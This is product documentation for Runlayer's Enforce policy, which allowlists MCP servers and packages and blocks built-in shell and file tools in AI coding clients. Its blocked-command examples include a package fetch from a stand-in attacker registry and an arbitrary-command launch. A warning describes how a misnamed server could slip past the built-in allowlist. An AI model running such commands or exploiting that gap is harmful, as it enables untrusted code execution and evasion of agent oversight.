> ## Documentation Index
> Fetch the complete documentation index at: https://docs.runlayer.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Enforce Policy

> Configure the Enforce allowlists and built-in tool blocks that decide which unmanaged tool sources are permitted

Once [Enforce](https://docs.runlayer.com/shadow-ai/enforce.md) hooks are installed, the **Enforce policy** governs which unmanaged tool sources are allowed and which built-in client tools are blocked. This page explains each Enforce policy setting.

## Where to configure it

Admins edit the policy under **Settings** → **Tool governance** → **Enforce**. Editing requires the **Manage org settings** capability.

The Enforce editor has four groups — **Allowed remote MCP URLs**, **Allowed local (STDIO) packages**, **Allowed built-in MCP servers**, and **Blocked built-in tools**. Every change saves immediately: each list entry is added or removed on its own, and each toggle persists as you flip it. Each list holds up to 5,000 entries; search a list to find an entry, and scroll to load more. [Protect denylists](https://docs.runlayer.com/shadow-ai/protect/policy.md) live on the **Protect** tab of the same page.

> [!NOTE]
>
> All source rules are **fail-closed**: anything Enforce cannot positively match to a Runlayer-managed source, an allowlist entry, or a permitted built-in is blocked. Widening what runs always means adding an allowlist entry, never removing a block.

## Allowed remote MCP URLs

Enforce **blocks** remote (HTTP/S) MCP servers that do not point at your Runlayer instance. Add **allowed remote MCP URLs** to permit specific external endpoints.

Each entry is a base URL. A tool call's MCP URL is allowed when:

* The **scheme**, **host**, and **port** match the entry (default ports `443` / `80` for HTTPS / HTTP are treated the same as omitting the port).
* If the entry has **no path** (or only `/`), any path on that origin is allowed.
* If the entry includes a path (for example `https://partner.example.com/mcp`), the MCP URL's path must match that prefix **with a path boundary** — `/mcp` and `/mcp/stream` match; `/mcpbackup` does not.

## Allowed local (STDIO) packages

Enforce also blocks local (stdio) MCP servers — those launched by a command such as `npx ...` or `uvx ...` — unless the launched package is on your **stdio package allowlist**. This lets you permit specific published MCP packages without permitting arbitrary local command execution.

> [!NOTE]
>
> Local commands are trivially spoofable, so Enforce **never allowlists a raw command string.** Instead it extracts a canonical *package identity* from the command and matches that against the list. A command that does not resolve to a launcher-backed package identity is denied.

### Package identity

Each entry is a canonical **package identity**: an **ecosystem** (`npm` or `PyPI`), a **name**, and an **optional version pin**.

* **Ecosystem + name must match.** Names are normalized before comparison (see [Name normalization](#name-normalization)).
* **Version is optional.** An entry with no version matches **any** version; an entry pinned to a version matches **only** that version. A versionless launch command can never satisfy a pinned entry.

### Recognized launchers

Only ecosystem launchers resolve to a package identity. Every other program — including raw binary paths (`/usr/local/bin/server`), interpreters (`node build/index.js`, `python -m server`), and unknown launchers — has no package identity and is **blocked**.

| Launcher | Ecosystem |
| - | - |
| `npx` | npm |
| `uvx` | PyPI |
| `uv tool run` | PyPI |

> [!NOTE]
>
> Other package runners — `pnpm dlx`, `bunx`, `yarn dlx` — and container launchers like `docker run` are **not** recognized, so servers launched through them cannot be allowlisted and are always blocked in Enforce. Relaunch the server through `npx` or `uvx` (or run it as a Runlayer-managed server) to allow it.

### Which argument is the package

Enforce matches the package the launcher actually installs and runs — normally the first argument after the launcher's own flags. If an explicit package flag is present (`npx --package foo bar`, `uvx --from foo bar`), that flag's value is the package. Commands Enforce cannot resolve to a single package are blocked (see [Always blocked](#always-blocked)).

### Version pinning

| Ecosystem | Pin syntax | Example |
| - | - | - |
| npm | `name@version` (scoped: `@scope/name@version`) | `@modelcontextprotocol/server-github@0.6.2` |
| PyPI | `name==version` or `name@version` | `mcp-server-fetch==2.1.0` |

Leave the version blank on an entry to allow any version.

### Name normalization

Names are normalized so stored entries match what the parser produces at hook time:

* **npm** — lowercased. The leading `@` of a scoped name is part of the name, not a version separator.
* **PyPI** — [PEP 503](https://peps.python.org/pep-0503/) canonical form: lowercased, with runs of `-`, `_`, and `.` collapsed to a single `-`. So `mcp_server_fetch`, `MCP.Server.Fetch`, and `mcp-server-fetch` are all the **same** package.

### Always blocked

These never resolve to a single package identity and are always denied, regardless of the allowlist:

* **Arbitrary-command launchers** — `npx --call` / `-c` run an arbitrary command string, not a package.
* **Unrecognized launcher flags before the command** — Enforce cannot safely tell which argument is the package, so it fails closed. Put npm config in `.npmrc` or environment variables rather than inline flags.
* **Shell injection** — commands with hidden shell operators, subshells, or injection patterns.
* **Unparseable or empty commands.**

### Worked examples

| Launch command | Resolved identity | Result |
| - | - | - |
| `npx -y @modelcontextprotocol/server-github` | npm · `@modelcontextprotocol/server-github` · any version | Allowed if the package is listed |
| `npx @modelcontextprotocol/server-github@0.6.2` | npm · `@modelcontextprotocol/server-github` · `0.6.2` | Allowed only by a matching entry (any-version or pinned `0.6.2`) |
| `npx --package left-pad run-thing` | npm · `left-pad` · any version | `--package` value wins over the positional |
| `uvx mcp-server-fetch` | PyPI · `mcp-server-fetch` · any version | Allowed if listed |
| `uvx mcp_server_fetch==2.1.0` | PyPI · `mcp-server-fetch` · `2.1.0` | Name PEP 503-normalized before matching |
| `uvx --with extra-dep mcp-server-time` | PyPI · `mcp-server-time` · any version | `--with` value skipped; positional is the package |
| `uv tool run --from my_pkg my-cmd` | PyPI · `my-pkg` · any version | `--from` value wins; `uv tool run` = `uvx` |
| `npx --call "node -e ..."` | — | **Blocked** — arbitrary command, no identity |
| `npx --registry https://evil.example pkg` | — | **Blocked** — unrecognized flag before command, fails closed |
| `node build/index.js` | — | **Blocked** — not a recognized launcher |
| `pnpm dlx mcp-server-foo` / `bunx mcp-server-foo` | — | **Blocked** — not a recognized launcher, even if the package is listed |
| `docker run some/mcp-image` | — | **Blocked** — not a recognized launcher |

### What name-based allowlisting covers

The allowlist identifies packages by name and, optionally, version. It does not
verify package contents, so continue using your existing dependency and
supply-chain controls alongside Enforce.

### Promote a discovered package (one-click)

When [Detect](https://docs.runlayer.com/shadow-ai/detect.md) discovers a local stdio MCP whose command resolves to a package identity, you can **Add to allowlist** in one click from the sighting's detail drawer — Enforce adds the parsed identity to the stdio allowlist (or moves it there if it was on the Protect denylist). This requires the **Manage org settings** capability. The same one-click **Add to allowlist** action is available for discovered [remote MCP URLs](#allowed-remote-mcp-urls).

## Blocked built-in tools

Beyond MCP sources, Enforce can deny **built-in client tools** by behavior type. Toggle a type on to block every built-in tool of that type across supported clients:

| Type | Blocks |
| - | - |
| **Shell / terminal** | `bash`, `terminal`, and run-command built-in tools |
| **File read** | `read` / `read_file` built-in tools |
| **File write** | `write`, `edit`, `patch`, and create/delete-file built-in tools |

These are behavior-level switches — each blocks a whole category of built-in tool. There is no per-path or per-command rule layer; for content-based decisions on the calls that remain allowed, use your scanner configuration.

Types you do not toggle on are allowed by default, and a built-in tool whose name does not map to one of these governed types is also allowed by default — it is not covered by this control, though scanner decisions still apply to it.

> [!NOTE]
>
> This is part of **local tool lifecycle enforcement**, so it requires **Full session scanning APIs** and the target **Hook client** enabled under **Settings** → **Agent session monitoring**. Shadow MCP source blocking (the remote-URL, stdio, and built-in dimensions) stays active without full session scanning. See [Enforcement paths](https://docs.runlayer.com/shadow-ai/enforce.md#enforcement-paths).

## Built-in MCP servers

Some clients ship **non-configurable, built-in MCP servers** that never appear in any config file — for example GitHub Copilot CLI's `github-mcp-server`, its bundled `computer-use` and `browser-use` plugins, and the in-memory `ide` bridge. The client resolves these internally, so the hook identifies them by `(client, built-in server name)` rather than by URL or command.

Enforce ships a **safe default allowlist** of well-known built-ins per client, so these keep working out of the box:

| Client | Default built-in MCP servers |
| - | - |
| GitHub Copilot CLI | `github-mcp-server`, `computer-use`, `browser-use`, `ide`, `playwright`, `fetch`, `time` |
| Claude Code | `claude-in-chrome`, `computer-use`, `Claude Preview`, `Claude Browser`, `ccd_turn` |
| Codex | `memories` |

> [!NOTE]
>
> **Claude Code built-ins need hook provenance.** Claude Code marks MCP servers that an Agent SDK host app (such as Claude Desktop) registered in-process as `sdk` in the `mcp_server` field of its hook input. Enforce matches them against this allowlist only when Claude Code sends that field (Claude Desktop's bundled Claude Code 2.1.281 or later); older versions block them as unregistered MCP servers. `ccd_turn` is Claude Desktop's per-turn plan and wrap-up server, which runs nothing itself. Other Claude Desktop servers, such as `ccd_session`, `visualize`, and `scheduled-tasks`, are blocked until you add their exact names to a custom list — names match exactly, so `ccd_*` matches nothing. This applies in Enforce only: Protect does not identify Claude Code `sdk` servers, so they stay allowed in Protect.

> [!WARNING]
>
> `sdk` means an Agent SDK host app registered the server, not that it is a Claude Desktop built-in. Claude Desktop also passes MCP servers from the user's own Claude Desktop configuration as `sdk` servers, under whatever name the user chose. It reserves the names of its own built-ins, except `terminal`, `workspace`, `office`, and `visualize`, so allowlisting one of those four also allows a user's own server with that name. The reservation holds only inside Claude Desktop: another Agent SDK app that runs the Runlayer hook can register a server under any name, including one on this list.

In the **Allowed built-in MCP servers** group:

* Keep **Use Runlayer safe defaults** on (the default) to trust the built-ins above.
* Turn it off to define a **custom list** — seeded from the defaults so you can prune or extend it — that **replaces the defaults entirely**. Each row is a `(client, built-in server name)` pair.
* Remove every row from the custom list to block **all** built-in MCP servers. Turning the switch back on discards the custom list.

A missing client or built-in server name never matches, so an unidentifiable built-in is blocked like any other unmatched source.

One `(client, built-in server name)` lives in exactly one list. Adding a built-in to the [Protect denylist](https://docs.runlayer.com/shadow-ai/protect/policy.md) moves it out of the allowed list — including out of the safe defaults, without switching you to a custom list — so Enforce stops permitting it and Protect blocks it (except Claude Code `sdk` servers, which Protect does not identify); removing the deny restores the default. Precedence is otherwise unchanged: Enforce matches a built-in against the allowed list (safe defaults, or your custom list) alone.

> [!NOTE]
>
> **Claude.ai account connectors are allowed through.** A connector the user has attached to their Claude account on claude.ai has no URL or local command on the device — Claude Code reports it by connector source and name. Enforce allows these connector calls rather than blocking them; govern them through your Claude.ai workspace controls.
>
> Claude Desktop hosts the same connectors itself and registers each one as an `sdk` server named by the connector's ID. The hook resolves that ID through Claude Desktop's own record of the current session's connectors, so the call is allowed as a Claude.ai connector and audited under the connector's display name. A connector ID the hook cannot resolve that way is judged as a built-in and blocked unless you add the exact ID to a custom list.

## Related Resources

> [card] [Protect policy](https://docs.runlayer.com/shadow-ai/protect/policy.md)
>
> Configure allow-unless-denied MCP source governance for Protect

> [card] [Enforce](https://docs.runlayer.com/shadow-ai/enforce.md)
>
> How Enforce intercepts calls, deployment, and troubleshooting

> [card] [Detect](https://docs.runlayer.com/shadow-ai/detect.md)
>
> Discover shadow servers and promote them to the allowlist

> [card] [Policies](https://docs.runlayer.com/platform-policies.md)
>
> Configure access control policies for managed MCPs

> [card] [Deploy AI Watch](https://docs.runlayer.com/shadow-ai/deploy.md)
>
> Install the package and turn on Enforce

> [card] [Policy rules](https://docs.runlayer.com/shadow-ai/enforce/policy-rules.md)
>
> Scope mode, Sessions and detection settings to a team, group, user or device


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.